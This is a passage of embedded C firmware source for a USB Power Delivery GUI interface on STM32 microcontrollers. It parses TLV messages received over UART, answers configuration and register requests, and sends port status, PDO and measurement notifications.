if ((GUI_TimerMeasReport[USBPD_PORT_1] & GUI_TIMER_READ_MSK) > 0U)
{
GUI_TimerMeasReport[USBPD_PORT_1]--;
}
#if !defined(_RTOS)&&defined(USE_STM32_UTILITY_OS)
else
{
UTIL_SEQ_SetTask(TASK_GUI, 0);
}
#endif /* !_RTOS && USE_STM32_UTILITY_OS */
}
#endif /* USBPD_PORT_COUNT == 2 */
}
/**
* @brief callback called to end a transfer.
* @param Character Byte received by the device
* @param Error Error detected in the reception
* @retval 1 if message to send to DPM application
*/
void GUI_CALLBACK_RX(uint8_t Character, uint8_t Error)
{
uint32_t event;
__disable_irq();
event = GUI_GetMessage(Character, Error);
__enable_irq();
if (event == 1U)
{
#if defined(_RTOS)
#if (osCMSIS < 0x20000U)
(void)osMessagePut(GUIMsgBox, GUI_USER_EVENT_GUI, 1);
#else
uint32_t eventgui = (uint32_t)GUI_USER_EVENT_GUI;
(void)osMessageQueuePut(GUIMsgBox, &eventgui, 0U, 0U);
#endif /* osCMSIS < 0x20000U */
#else
GUI_Flag = GUI_USER_EVENT_GUI;
#if defined(USE_STM32_UTILITY_OS)
GUI_RXProcess(GUI_Flag);
GUI_Flag = GUI_USER_EVENT_NONE;
#endif /* USE_STM32_UTILITY_OS */
#endif /* _RTOS */
}
}
/**
* @brief Main Trace RX process to push data on the media.
* @param Event GUI trace event
* @retval Timing
*/
uint32_t GUI_RXProcess(uint32_t Event)
{
uint8_t *msg;
USBPD_GUI_State state;
uint8_t size;
if (0U == (Event & GUI_PE_NOTIF_Msk))
{
/* Message have been received by GUI */
state = GUI_SendAnswer(&msg, &size);
switch (state)
{
case GUI_STATE_RESET:
/* DPM_RESET_REQ received by the device */
/* Save parameters in FLASH */
(void)BSP_GUI_SaveDataInFlash();
HAL_NVIC_SystemReset();
break;
case GUI_STATE_INIT:
/* DPM_INIT_REQ received by the device */
break;
default:
/* Another GUI messages received by the device */
TRACER_EMB_Add(msg, size);
break;
}
}
else
{
uint16_t type_event = ((uint16_t)Event & GUI_PE_NOTIF_Msk) >> GUI_PE_NOTIF_Pos;
if (GUI_NOTIF_MEASUREMENT == type_event)
{
/* Notification related to timeout for measure reporting */
/* Send a notification to associated port */
(void)GUI_FormatAndSendNotification(((Event & GUI_PE_PORT_NUM_Msk) >> GUI_PE_PORT_NUM_Pos),
GUI_NOTIF_MEASUREREPORTING,
HAL_GetTick());
}
else
{
/* Message have been received by PE */
/* Send a notification to associated port */
(void)GUI_FormatAndSendNotification(((Event & GUI_PE_PORT_NUM_Msk) >> GUI_PE_PORT_NUM_Pos),
GUI_NOTIF_PE_EVENT,
type_event);
}
}
return 0;
}
/**
* @brief TRACE function to send a notification
* @param PortNum Index of current used port
* @param TypeNotification Type of requested notification is a combination
* of @ref USBPD_TRACE_TRACE_TYPE_NOTIFICATION
* @param Value Value depending of TypeNotification
* @note If TypeNotification == GUI_NOTIF_ISCONNECTED, Value should be equal to 0 (Not connected) or 1 (connected)
* @retval USBPD Status
*/
uint32_t GUI_FormatAndSendNotification(uint32_t PortNum, uint32_t TypeNotification, uint32_t Value)
{
uint8_t *msg;
uint8_t size;
/* Only send notification if GUI is connected */
if (GUI_STATE_INIT != GUI_SendNotification((uint8_t)PortNum, &msg, &size, TypeNotification, Value))
{
TRACER_EMB_Add(msg, size);
}
return 0;
}
/**
* @brief Function called through UART IT RX to fill the GUI RX buffer
* @param Character Received byte
* @param Error Error if issue during reception
* @retval 1 indicates that a complete GUI message have been received
*/
uint32_t GUI_GetMessage(uint8_t Character, uint8_t Error)
{
uint32_t status = 0;
static uint16_t counter = 0U; /* Allows for example to count the number of SOF or EOF we received consecutively */
static uint16_t cursor = 0U; /* Our position in the buffer */
static uint16_t currentSize; /* How many bytes we should expect */
static enum receptionStateMachine
{
Rstart,
RonGoing,
Rsize,
Rend,
Rerror
} Rstate = Rstart;
if (cursor < TLV_SIZE_MAX)
{
PtrDataRx[cursor] = Character;
}
else /* buffer too small, overflow */
{
cursor = 0U;
counter = 0U;
Rstate = Rstart;
return 0;
}
if (Error != 0U)
{
Rstate = Rerror;
}
switch (Rstate)
{
case Rstart :
if (PtrDataRx[cursor] == TLV_SOF)
{
counter++;
}
else
{
counter = 0U;
/* cursor is unsigned, but it will inevitably increments at the end of function,
and we need a 0 at the next pass here */
cursor = 0xFFFFU;
}
if (counter == 4U) /* The whole SOF is received */
{
counter = 0U;
Rstate = Rsize;
}
break;
case Rsize :
counter++;
if (counter == 3U) /* We have received the size */
{
currentSize = (uint16_t)((PtrDataRx[cursor - 1U]) << 8) + (uint16_t)(PtrDataRx[cursor]);
if (0U == currentSize)
{
Rstate = Rend;
}
else
{
Rstate = RonGoing;
}
counter = 0U;
}
break;
case RonGoing :
counter++;
if (counter == currentSize)
{
/* When there is no value, the first EOF is handled by Rongoing, before Rend takes control */
counter = 0U;
Rstate = Rend;
}
break;
case Rend :
counter++;
if ((PtrDataRx[cursor] == TLV_EOF)
&& (PtrDataRx[cursor - 1U] == TLV_EOF)
&& (PtrDataRx[cursor - 2U] == TLV_EOF)
&& (PtrDataRx[cursor - 3U] == TLV_EOF))
{
/* The semaphore must be given only in this case, because otherwise
it means we didn't receive the correct size of bytes */
if (counter == 4U)
{
status = 1U;
}
counter = 0U;
cursor = 0xFFFFU;
Rstate = Rstart;
}
if (cursor == (currentSize + 11U))
{
/* No complete EOF arrived. We reset the buffer for safety even if the instruction might be complete. */
counter = 0U;
cursor = 0xFFFFU;
Rstate = Rstart;
}
break;
case Rerror :
counter = 0U;
cursor = 0xFFFFU;
Rstate = Rstart;
break;
default:
break;
}
cursor++;
return status;
}
/**
* @brief Answer to a message received by the GUI
* @param pMsgToSend Pointer on the message to send
* @param pSizeMsg Pointer on the size of the message to send
* @retval GUI state
*/
USBPD_GUI_State GUI_SendAnswer(uint8_t **pMsgToSend, uint8_t *pSizeMsg)
{
/* Extract the port from the tag*/
uint8_t port = PtrDataRx[TLV_TAG_POSITION] >> GUI_PORT_BIT_POSITION;
/* Do the appropriate treatment in response to what we have received */
switch (PtrDataRx[TLV_TAG_POSITION] & 0x1FU)
{
case DPM_RESET_REQ:
/* Reset*/
return GUI_STATE_RESET;
case DPM_INIT_REQ:
{
Send_DpmInitCnf(port, Processed);
*pMsgToSend = Processed;
*pSizeMsg = (uint8_t)(TLV_get_string_length(Processed) + 8U);
TRACER_EMB_Add(*pMsgToSend, *pSizeMsg);
GUI_State = GUI_STATE_RUNNING;
if (0U == port)
{
/* Send a notification all the port */
(void)GUI_FormatAndSendNotification(USBPD_PORT_0,
GUI_NOTIF_ISCONNECTED | GUI_NOTIF_PE_EVENT | GUI_NOTIF_TIMESTAMP,
USBPD_NOTIFY_ALL);
#if USBPD_PORT_COUNT==2
(void)GUI_FormatAndSendNotification(USBPD_PORT_1,
GUI_NOTIF_ISCONNECTED | GUI_NOTIF_PE_EVENT | GUI_NOTIF_TIMESTAMP,
USBPD_NOTIFY_ALL);
#endif /* USBPD_PORT_COUNT == 2 */
}
return GUI_STATE_INIT;
}
case DPM_CONFIG_GET_REQ:
if (0U != port)
{
Send_DpmConfigGetCnf((port - 1U), PtrDataRx, Processed);
}
else
{
Send_DpmConfigGetRej(port, Processed, GUI_REJ_DPM_INVALID_PORT_NUMBER);
}
break;
case DPM_CONFIG_SET_REQ:
if (0U != port)
{
Send_DpmConfigSetCnf((port - 1U), PtrDataRx, Processed);
}
else
{
Send_DpmConfigGetRej(port, Processed, GUI_REJ_DPM_INVALID_PORT_NUMBER);
}
break;
case DPM_MESSAGE_REQ:
if (0U != port)
{
Request_MessageReq((port - 1U), PtrDataRx, Processed);
}
else
{
Send_DpmMessageRej(port, Processed, GUI_REJ_DPM_INVALID_PORT_NUMBER);
}
break;
case DPM_REGISTER_READ_REQ:
if (0U != port)
{
/* If size is 0*/
if ((PtrDataRx[TLV_LENGTH_HIGH_POSITION] == 0U) && (PtrDataRx[TLV_LENGTH_LOW_POSITION] == 0U))
{
Send_DpmRegisterReadCnf((port - 1U), Processed, 0xFF);
}
else
{
/* PtrDataRx[TLV_VALUE_POSITION] is the tag in parameter,
when only one parameter is needed (cf USBPD GUI specification)*/
Send_DpmRegisterReadCnf((port - 1U), Processed, PtrDataRx[TLV_VALUE_POSITION]);
}
}
else
{
Send_DpmConfigGetRej(port, Processed, GUI_REJ_DPM_INVALID_PORT_NUMBER);
}
break;
case DPM_REGISTER_WRITE_REQ:
if (0U != port)
{
Send_DpmRegisterWriteCnf((port - 1U), Processed, PtrDataRx);
}
else
{
Send_DpmConfigGetRej(port, Processed, GUI_REJ_DPM_INVALID_PORT_NUMBER);
}
break;
default :
break;
}
*pMsgToSend = Processed;
*pSizeMsg = (uint8_t)(TLV_get_string_length(Processed) + 8U);
return GUI_State;
}
/**
* @brief Answer to a message received by the GUI
* @param PortNum Port number
* @param pMsgToSend Pointer on the message to send
* @param pSizeMsg Pointer on the size of the message to send
* @param TypeNotification Type of the notification
* @param Value Value of the notification
* @retval GUI state
*/
USBPD_GUI_State GUI_SendNotification(uint8_t PortNum, uint8_t **pMsgToSend, uint8_t *pSizeMsg,
uint32_t TypeNotification, uint32_t Value)
{
TLV_ToSend_Data_t send_tlv;
USBPD_GUI_State gui_state = GUI_STATE_INIT;
/* Send a notitification only if GUI is running */
if (GUI_State == GUI_STATE_RUNNING)
{
(void)TLV_init_encode(&send_tlv, __GUI_SET_TAG_ID((PortNum + 1U), DPM_MESSAGE_IND), TLV_SIZE_MAX, Processed);
/* Check PD connection */
if ((TypeNotification & GUI_NOTIF_ISCONNECTED) == GUI_NOTIF_ISCONNECTED)
{
/* Is Connected*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_ISCONNECTED, 1,
(uint8_t[]){ DPM_Params[PortNum].PE_Power });
if (USBPD_TRUE == DPM_Params[PortNum].PE_IsConnected)
{
uint8_t rp_value;
/* CC line */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CC, 1,
(uint8_t[]) { DPM_Params[PortNum].ActiveCCIs });
/* Power Role*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_POWERROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_PowerRole });
/* CC Default Current Advertised */
rp_value = 3; /* (uint8_t)CAD_GetRPValue(PortNum); */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CCDEFAULTCURRENTADVERTISED, 1, &rp_value);
if (USBPD_POWER_EXPLICITCONTRACT == DPM_Params[PortNum].PE_Power)
{
/* Data Role*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_DATAROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_DataRole });
/* Vconn ON*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VCONNON, 1,
(uint8_t[]) { DPM_Params[PortNum].VconnStatus });
/* PD_Spec Revision */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PD_SPECREVISION, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_SpecRevision });
}
}
}
/* Check PD message event */
if ((TypeNotification & GUI_NOTIF_PE_EVENT) == GUI_NOTIF_PE_EVENT)
{
if ((uint32_t)USBPD_NOTIFY_ALL != Value)
{
/* PD_MessageNotif */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PD_MESSAGENOTIF, 1, (uint8_t *)&Value);
switch (Value)
{
case USBPD_NOTIFY_POWER_STATE_CHANGE :
/* Is Connected*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_ISCONNECTED, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_Power });
if (USBPD_POWER_NO == DPM_Params[PortNum].PE_Power)
{
/* CC line */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CC, 1,
(uint8_t[]) { DPM_Params[PortNum].ActiveCCIs });
/* PowerRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_POWERROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_PowerRole });
}
break;
case USBPD_NOTIFY_GETSNKCAP_ACCEPTED :
/* NumberOfRcvSNKPDO */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NUMBEROFRCVSNKPDO, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO
});
/* ListOfRcvSNKPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_LISTOFRCVSNKPDO,
(uint16_t)(GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO * 4U),
(uint8_t *) GUI_SaveInformation[PortNum].ListOfRcvSNKPDO);
break;
case USBPD_NOTIFY_GETSRCCAP_ACCEPTED :
/* NumberOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NUMBEROFRCVSRCPDO, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO });
/* ListOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_LISTOFRCVSRCPDO,
(uint16_t)(GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO * 4U),
(uint8_t *) GUI_SaveInformation[PortNum].ListOfRcvSRCPDO);
break;
case USBPD_NOTIFY_POWER_EXPLICIT_CONTRACT :
if (USBPD_PORTPOWERROLE_SNK == DPM_Params[PortNum].PE_PowerRole)
{
/* NumberOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NUMBEROFRCVSRCPDO, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO });
/* ListOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_LISTOFRCVSRCPDO,
(uint16_t)(GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO * 4U),
(uint8_t *) GUI_SaveInformation[PortNum].ListOfRcvSRCPDO);
}
/* RDOPosition */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_RDOPOSITION, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].RDOPosition });
/* DataRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_DATAROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_DataRole });
/* PowerRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_POWERROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_PowerRole });
/* VconnON*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VCONNON, 1,
(uint8_t[]) { DPM_Params[PortNum].VconnStatus });
/* PD_SpecRevision */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PD_SPECREVISION, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_SpecRevision });
break;
case USBPD_NOTIFY_POWER_SWAP_TO_SNK_DONE :
case USBPD_NOTIFY_POWER_SWAP_TO_SRC_DONE :
/* PowerRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_POWERROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_PowerRole });
break;
case USBPD_NOTIFY_DATAROLESWAP_UFP :
case USBPD_NOTIFY_DATAROLESWAP_DFP :
/* DataRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_DATAROLE, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_DataRole });
break;
case USBPD_NOTIFY_PD_SPECIFICATION_CHANGE :
/* PD_SpecRevision */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PD_SPECREVISION, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_SpecRevision });
break;
case USBPD_NOTIFY_VCONN_SWAP_COMPLETE :
/* VconnON */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VCONNON, 1,
(uint8_t[]) { DPM_Params[PortNum].VconnStatus });
break;
#if _PPS
case USBPD_NOTIFY_PPS_STATUS_RECEIVED :
/* PPS value */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PPS, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].RcvPPSStatus.d32);
break;
#endif /* _PPS */
#if _STATUS
case USBPD_NOTIFY_STATUS_RECEIVED :
{
uint8_t tab[5] =
{
GUI_SaveInformation[PortNum].RcvStatus.InternalTemp,
GUI_SaveInformation[PortNum].RcvStatus.PresentInput,
GUI_SaveInformation[PortNum].RcvStatus.PresentBatteryInput,
GUI_SaveInformation[PortNum].RcvStatus.EventFlags,
GUI_SaveInformation[PortNum].RcvStatus.TemperatureStatus
};
/* Status value */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_STATUS, 5, tab);
break;
}
#endif /* _STATUS */
#ifdef _VDM
case USBPD_NOTIFY_VDM_IDENTIFY_RECEIVED :
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VDM_IDENTITY, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_DiscoIdentify.IDHeader.d32);
break;
case USBPD_NOTIFY_VDM_SVID_RECEIVED :
{
uint32_t index;
uint16_t size;
/* List of received SVDM SVID */
if (0 != GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.NumSVIDs)
{
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_SVDM_SVIDS, 2,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.SVIDs[0]);
size = 2;
for (index = 1; index < GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.NumSVIDs; index++)
{
(void)TLV_addValue(&send_tlv,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.SVIDs[index], 2);
size += 2;
}
TLV_UpdateSizeTag(&send_tlv, size);
}
}
break;
case USBPD_NOTIFY_VDM_MODE_RECEIVED :
{
uint32_t index;
uint16_t size;
/* List of received SVDM MODES */
if (0 != GUI_SaveInformation[PortNum].VDM_ModesPortPartner.NumModes)
{
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_SVDM_MODES, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_ModesPortPartner.Modes[0]);
size = 4;
for (index = 1; index < GUI_SaveInformation[PortNum].VDM_ModesPortPartner.NumModes; index++)
{
(void)TLV_addValue(&send_tlv,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_ModesPortPartner.Modes[index], 4);
size += 4;
}
TLV_UpdateSizeTag(&send_tlv, size);
}
}
break;
#endif /* _VDM */
#if defined(_VCONN_SUPPORT)
case USBPD_NOTIFY_VDM_CABLE_IDENT_RECEIVED :
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CABLE_VDO, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_DiscoCableIdentify.CableVDO.d32);
break;
#endif /* _VCONN_SUPPORT */
default:
break;
}
}
else
{
/* Send all the indication parameters if connected */
if (USBPD_TRUE == DPM_Params[PortNum].PE_IsConnected)
{
#if defined(_VDM)
uint32_t index;
#endif /* _VDM */
if (0U != GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO)
{
/* NumberOfRcvSNKPDO */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NUMBEROFRCVSNKPDO, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO });
/* ListOfRcvSNKPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_LISTOFRCVSNKPDO,
(uint16_t)(GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO * 4U),
(uint8_t *)GUI_SaveInformation[PortNum].ListOfRcvSNKPDO);
}
/* RDOPosition */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_RDOPOSITION, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].RDOPosition });
if (USBPD_PORTPOWERROLE_SNK == DPM_Params[PortNum].PE_PowerRole)
{
/* NumberOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NUMBEROFRCVSRCPDO, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO });
/* ListOfRcvSRCPDO*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_LISTOFRCVSRCPDO,
(uint16_t)GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO * 4U,
(uint8_t *)GUI_SaveInformation[PortNum].ListOfRcvSRCPDO);
}
/* PD_SpecRevision */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_PD_SPECREVISION, 1,
(uint8_t[]) { DPM_Params[PortNum].PE_SpecRevision });
#if defined(USBPD_REV30_SUPPORT)
#if _SRC_CAPA_EXT
/* Number of batteries supported by the port partner */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_NBBATTERIES, 1,
(uint8_t[]) { GUI_SaveInformation[PortNum].RcvSRCExtendedCapa.NbBatteries });
#endif /* _SRC_CAPA_EXT */
#endif /* USBPD_REV30_SUPPORT */
#if defined(_VDM)
if (0U != GUI_SaveInformation[PortNum].VDM_DiscoIdentify.IDHeader.d32)
{
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VDM_IDENTITY, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_DiscoIdentify.IDHeader.d32);
}
#if defined(_VCONN_SUPPORT)
if (1U == GUI_SaveInformation[PortNum].VDM_DiscoCableIdentify.CableVDO_Presence)
{
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CABLE_VDO, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_DiscoCableIdentify.CableVDO.d32);
}
#endif /* _VCONN_SUPPORT */
/* List of received SVDM SVID */
if (0 != GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.NumSVIDs)
{
uint16_t size;
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_SVDM_SVIDS, 2,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.SVIDs[0]);
size = 2;
for (index = 1; index < GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.NumSVIDs; index++)
{
(void)TLV_addValue(&send_tlv,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_SVIDPortPartner.SVIDs[index], 2);
size += 2;
}
TLV_UpdateSizeTag(&send_tlv, size);
}
/* List of received SVDM MODES */
if (0 != GUI_SaveInformation[PortNum].VDM_ModesPortPartner.NumModes)
{
uint16_t size;
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_SVDM_MODES, 4,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_ModesPortPartner.Modes[0]);
size = 4;
for (index = 1; index < GUI_SaveInformation[PortNum].VDM_ModesPortPartner.NumModes; index++)
{
(void)TLV_addValue(&send_tlv,
(uint8_t *)&GUI_SaveInformation[PortNum].VDM_ModesPortPartner.Modes[index], 4);
size += 4;
}
TLV_UpdateSizeTag(&send_tlv, size);
}
#endif /* _VDM */
}
}
}
/* Check if notification linked to a measure report */
if ((TypeNotification & GUI_NOTIF_MEASUREREPORTING) == GUI_NOTIF_MEASUREREPORTING)
{
uint32_t vsense = 0;
int32_t isense = 0;
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_TIMESTAMP, 4, (uint8_t *)&Value);
if (NULL != pCB_GetVoltage)
{
vsense = pCB_GetVoltage(PortNum);
}
if (NULL != pCB_GetVoltage)
{
isense = pCB_GetCurrent(PortNum);
if (isense < 0)
{
isense = -isense;
}
}
/* VBUS & IBUS level */
vsense = ((uint32_t)(isense) << 16) | vsense;
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_VBUS_LEVEL, 4, (uint8_t *)&vsense);
}
/* Check if timestamp */
if ((TypeNotification & GUI_NOTIF_TIMESTAMP) == GUI_NOTIF_TIMESTAMP)
{
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_TIMESTAMP, 4, (uint8_t *)&Value);
}
/* Check if power change */
if ((TypeNotification & GUI_NOTIF_POWER_EVENT) == GUI_NOTIF_POWER_EVENT)
{
/* Is Connected*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_ISCONNECTED, 1, (uint8_t[]) { DPM_Params[PortNum].PE_Power });
if (USBPD_POWER_NO == DPM_Params[PortNum].PE_Power)
{
/* CC line */
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_CC, 1, (uint8_t[]) { DPM_Params[PortNum].ActiveCCIs });
/* PowerRole*/
(void)TLV_add(&send_tlv, (uint8_t)GUI_IND_POWERROLE, 1, (uint8_t[]) { DPM_Params[PortNum].PE_PowerRole });
}
}
TLV_deinit_encode(&send_tlv);
if (0U != TLV_get_string_length(Processed))
{
*pMsgToSend = Processed;
*pSizeMsg = (uint8_t)TLV_get_string_length(Processed) + 8U;
gui_state = GUI_STATE_RUNNING;
}
}
return gui_state;
}
/**
* @brief Callback function called by PE to inform GUI about PE event.
* @param PortNum Port number
* @param EventVal Event vale @ref USBPD_NotifyEventValue_TypeDef
* @retval None
*/
void GUI_PostNotificationMessage(uint8_t PortNum, uint16_t EventVal)
{
#if defined(_SNK) || defined(_DRP)
if ((uint16_t)USBPD_NOTIFY_REQUEST_ACCEPTED == EventVal)
{
DPM_USER_Settings[PortNum].DPM_SNKRequestedPower.OperatingVoltageInmVunits
= GUI_SaveInformation[PortNum].RequestedVoltage;
DPM_USER_Settings[PortNum].DPM_SNKRequestedPower.OperatingPowerInmWunits
= (GUI_SaveInformation[PortNum].RequestedVoltage * GUI_SaveInformation[PortNum].RequestedCurrent) / 1000U;
}
#endif /* _SNK || _DRP */
/* Send a notitification only if GUI is running */
if (GUI_State == GUI_STATE_RUNNING)
{
uint32_t event = (uint32_t)GUI_USER_EVENT_GUI
| ((uint32_t)PortNum << GUI_PE_PORT_NUM_Pos)
| ((uint32_t)EventVal << GUI_PE_NOTIF_Pos);
#if defined(_RTOS)
#if (osCMSIS < 0x20000U)
(void)osMessagePut(GUIMsgBox, event, 0);
#else
(void)osMessageQueuePut(GUIMsgBox, &event, 0U, 0U);
#endif /* osCMSIS < 0x20000U */
#else
GUI_Flag = event;
#if defined(USE_STM32_UTILITY_OS)
GUI_RXProcess(GUI_Flag);
GUI_Flag = GUI_USER_EVENT_NONE;
#endif /* USE_STM32_UTILITY_OS */
#endif /* _RTOS */
}
}
/**
* @brief Check is GUI is connected to the board or not
* @retval USBPD state
*/
USBPD_FunctionalState GUI_IsRunning(void)
{
return ((GUI_State == GUI_STATE_RUNNING) ? USBPD_ENABLE : USBPD_DISABLE);
}
/**
* @brief GUI callback to save information coming from PortPartner
* @param PortNum Port number
* @param DataId Type of data to be updated in DPM based on @ref USBPD_CORE_DataInfoType_TypeDef
* @param Ptr Pointer on the data
* @param Size Nb of bytes to be updated in GUI
* @retval None
*/
void GUI_SaveInfo(uint8_t PortNum, uint8_t DataId, uint8_t *Ptr, uint32_t Size)
{
uint32_t index;
/* Check type of information targeted by request */
switch (DataId)
{
/* Case requested DO position Data information :
*/
case USBPD_CORE_DATATYPE_RDO_POSITION :
if (Size == 4U)
{
uint8_t *temp;
temp = (uint8_t *)&GUI_SaveInformation[PortNum].RDOPosition;
(void)memcpy(temp, Ptr, Size);
GUI_SaveInformation[PortNum].RDOPositionPrevious = *Ptr;
temp = (uint8_t *)&GUI_SaveInformation[PortNum].RDOPositionPrevious;
(void)memcpy(temp, Ptr, Size);
}
break;
/* Case Received Source PDO values Data information :
*/
case USBPD_CORE_DATATYPE_RCV_SRC_PDO :
if (Size <= (USBPD_MAX_NB_PDO * 4U))
{
uint8_t *rdo;
GUI_SaveInformation[PortNum].NumberOfRcvSRCPDO = (Size / 4U);
/* Copy PDO data in DPM Handle field */
for (index = 0U; index < (Size / 4U); index++)
{
rdo = (uint8_t *)&GUI_SaveInformation[PortNum].ListOfRcvSRCPDO[index];
(void)memcpy(rdo, (Ptr + (index * 4U)), (4U * sizeof(uint8_t)));
}
}
break;
/* Case Received Sink PDO values Data information :
*/
case USBPD_CORE_DATATYPE_RCV_SNK_PDO :
if (Size <= (USBPD_MAX_NB_PDO * 4U))
{
uint8_t *rdo;
GUI_SaveInformation[PortNum].NumberOfRcvSNKPDO = (Size / 4U);
/* Copy PDO data in DPM Handle field */
for (index = 0U; index < (Size / 4U); index++)
{
rdo = (uint8_t *)&GUI_SaveInformation[PortNum].ListOfRcvSNKPDO[index];
(void)memcpy(rdo, (Ptr + (index * 4U)), (4U * sizeof(uint8_t)));
}
}
break;
/* Case Received Request PDO Data information :
*/
case USBPD_CORE_DATATYPE_RCV_REQ_PDO :
if (Size == 4U)
{
uint8_t *rdo;
rdo = (uint8_t *)&GUI_SaveInformation[PortNum].RcvRequestDOMsg;
(void)memcpy(rdo, Ptr, Size);
}
break;
#if defined(USBPD_REV30_SUPPORT)
#if _STATUS
case USBPD_CORE_INFO_STATUS :
{
uint8_t *info_status;
info_status = (uint8_t *)&GUI_SaveInformation[PortNum].RcvStatus;
(void)memcpy(info_status, Ptr, Size);
break;
}
#endif /* _STATUS */
#if _PPS
case USBPD_CORE_PPS_STATUS :
{
uint8_t *ext_capa;
ext_capa = (uint8_t *)&GUI_SaveInformation[PortNum].RcvPPSStatus;
(void)memcpy(ext_capa, Ptr, Size);
break;
}
#endif /* _PPS */
#if _SRC_CAPA_EXT
case USBPD_CORE_EXTENDED_CAPA :
{
uint8_t *ext_capa;
ext_capa = (uint8_t *)&GUI_SaveInformation[PortNum].RcvSRCExtendedCapa;
(void)memcpy(ext_capa, Ptr, Size);
break;
}
#endif /* _SRC_CAPA_EXT */
#if defined(USBPDCORE_SNK_CAPA_EXT)
case USBPD_CORE_SNK_EXTENDED_CAPA :
{
uint8_t *_snk_ext_capa;
_snk_ext_capa = (uint8_t *)&GUI_SaveInformation[PortNum].RcvSNKExtendedCapa;
(void)memcpy(_snk_ext_capa, Ptr, Size);
break;
}
#endif /* USBPDCORE_SNK_CAPA_EXT */
#if _MANU_INFO
case USBPD_CORE_GET_MANUFACTURER_INFO:
{
uint8_t *temp = (uint8_t *)Ptr;
